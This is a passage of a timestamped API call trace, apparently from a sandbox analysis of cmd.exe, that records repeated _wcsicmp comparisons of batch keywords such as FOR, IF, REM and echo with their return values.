_wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.236] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.236] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.237] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.237] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.237] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.237] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.237] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.237] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.237] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.237] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.237] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.237] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.237] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.237] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.237] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.238] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.238] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.238] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.238] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.238] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.238] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.238] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.238] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.238] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.238] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.239] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.239] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.239] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.239] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.239] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.239] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.239] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.240] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.240] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.240] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.240] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.240] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.240] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.240] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.240] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.241] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.241] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.241] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.241] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.241] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.241] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.241] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.242] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.242] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.242] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.242] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.242] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.242] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.242] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.242] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.243] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.243] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.243] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.243] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.243] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.243] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.243] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.243] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.244] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.244] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.244] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.244] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.244] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.244] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.245] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.245] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.245] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.245] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.245] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.245] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.245] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.246] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.246] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.246] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.246] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.246] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.246] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.246] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.246] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.246] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.246] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.246] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.246] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.246] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.246] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.247] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.247] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.247] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.247] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.247] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.247] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.247] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.248] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.248] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.248] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.248] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.248] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.248] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.248] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.248] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.249] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.249] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.249] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.249] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.249] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.249] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.249] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.249] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.249] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.249] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.249] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.249] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.249] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.249] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.250] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.250] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.250] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.250] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.250] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.250] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.250] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.251] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.251] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.251] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.251] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.251] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.251] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.251] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.251] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.252] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.252] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.252] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.252] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.252] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.252] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.252] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.253] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.253] 